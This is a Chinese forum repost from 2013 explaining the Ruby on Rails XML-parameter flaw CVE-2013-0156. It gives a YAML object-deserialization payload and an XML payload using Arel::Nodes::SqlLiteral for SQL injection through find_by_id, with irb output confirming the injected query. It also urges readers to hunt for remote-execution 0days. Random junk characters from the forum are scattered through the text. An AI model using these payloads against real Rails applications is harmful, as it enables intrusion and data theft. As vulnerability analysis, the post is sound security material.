Author: wofeiwo#80sec.com ( e/ `9 g3 B$ A* @& [" ?9 i4 l
: t# T( T/ b! h2 ^0 e6 r$ P注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。
$ o+ t: I' B6 U( r1 ]
$ t6 V/ d/ V/ `1 e" j' W- B- _7 l近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
+ `: l1 q' z8 J* D5 u
5 D# U1 m3 h* L% tCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. # G; x U5 F% c3 ?
+ ~" x1 M9 ~: G( _! f- o为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
' R$ H& W4 ]* R. I( d4 F# R& R
' o- b+ o" ~: |2 N2 I/ z<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
$ b) _# \6 G- b5 F
! M! \6 O3 X9 _' F4 a; A"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. 3 U$ w" }0 y0 ^; G& D8 M
0 k! L1 ]' _! f' F& q* Y4 d
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
' z! L- {' t+ F/ \0 [; I3 F9 e# l
然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。 4 o* S* s; e) `9 B ~9 u- k! y1 j
2 Q6 s: _% O0 S2 X
但是等等，还有另一个参数类型，yaml。 5 X5 ]; ^% w Y
; A6 X8 j4 w. w. i3 V! h: o: c! w0 m
yaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。
6 ]/ c- C( U* T$ x0 h- w3 B1 s
, t. k9 U: D6 V<test type="yaml">--- !ruby/object:A
3 j+ R$ m' w' w# t" Maaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。 * A/ h; Z8 v9 y! ]% l) B6 X
2 l v) ^. F/ ]9 J
如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。
8 y2 d; K' Y# n/ O
6 ^* y* T8 s, N$ f如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。 " N; |4 q1 m) g9 ], L
+ U9 X8 }" S9 D {+ q一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式）
/ @/ [: B0 ~* D
1 ]$ J% X( ]. G) E) @; ?5 s, Gmodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容：
3 y! ~% c9 }/ Y5 C4 m
. U6 C1 a& ~5 q0 l2 {; v<id type=yaml>--- !str:Arel::Nodes::SqlLiteral' b7 N& }8 `; g8 f
1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。 ; H, H! x9 \( I7 F/ @) m
* F$ t. n0 F8 ^# s7 y# G7 ?irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。
. y$ R2 ?: K& P. V
% V: c, } P" d7 F, ~* x, K7 ~4 g |
发表于 2013-1-11 21:16:27
收藏
支持
反对